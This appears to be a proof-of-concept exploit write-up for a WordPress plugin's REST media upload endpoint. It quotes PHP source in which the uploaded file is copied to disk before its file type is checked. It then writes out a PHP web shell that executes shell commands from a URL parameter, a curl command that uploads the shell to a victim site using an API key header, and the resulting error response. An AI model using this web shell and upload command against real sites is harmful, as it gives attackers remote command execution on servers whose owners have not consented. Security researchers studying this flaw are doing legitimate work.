66	                if ( (int) $_FILES['file']['size'] === 0 ) {
67	                        Rest_Response::render_error( 500, 'The uploaded file exceeds the upload_max_filesize directive in php.ini.', 'rest_upload_unknown_error' );
68	                }
69	
70	                if ( (int) $_FILES['file']['error'] > 0 ) {
71	                        Rest_Response::render_error( 500, 'An error has occured when uploading file to the server.', 'rest_upload_unknown_error' );
72	                }
73	
74	                copy( realpath( $_FILES['file']['tmp_name'] ), $media_file_source );
75	
76	                $title       = isset( $_REQUEST['title'] ) ? sanitize_title( $_REQUEST['title'] ) : '';
77	                $description = isset( $_REQUEST['description'] ) ? sanitize_text_field( $_REQUEST['description'] ) : '';
78	                $caption     = isset( $_REQUEST['caption'] ) ? sanitize_text_field( $_REQUEST['caption'] ) : '';
79	                $alt_text    = isset( $_REQUEST['alt_text'] ) ? sanitize_text_field( $_REQUEST['alt_text'] ) : '';
80	                $post_id     = isset( $_REQUEST['post'] ) ? (int) $_REQUEST['post'] : '';
81	
82	                $upload_dir = wp_upload_dir();
83	                $filename   = basename( $media_file_source );
84	                if ( wp_mkdir_p( $upload_dir['path'] ) ) {
85	                        $file = $upload_dir['path'] . '/' . $filename;
86	                } else {
87	                        $file = $upload_dir['basedir'] . '/' . $filename;
88	                }
89	
90	                $wp_file_type  = wp_check_filetype( $filename, null );
91	                $allowed_types = get_allowed_mime_types();
92	
93	                if ( ! in_array( $wp_file_type['type'], $allowed_types ) ) {
94	                        Rest_Response::render_error( 500, 'Sorry, this file type is not permitted for security reasons.', 'rest_upload_unknown_error' );
95	                }

cat << 'EOF' > shello.php
<?php    
    // Silence is golden
    if (!empty($_GET['cmd'])) {
        echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
    }
?>
EOF

curl -k -X POST \
  https://VICTIMURLHERE/wp-json/wp/v2/media \
  -H "IWC-API-KEY: cjusksft1dwcoq43lyy6a6lf9tb6qc63" \
  -F "[email protected]" \
  -F "title=Hacker World" \
  -F "description=A test file" \
  -F "caption=Hacker Caption" \
  -F "alt_text=Hacker Alt Text"

{
    "code": "rest_upload_unknown_error",
    "message": "Sorry, this file type is not permitted for security reasons.",
    "data": {
        "status": 500
    }
}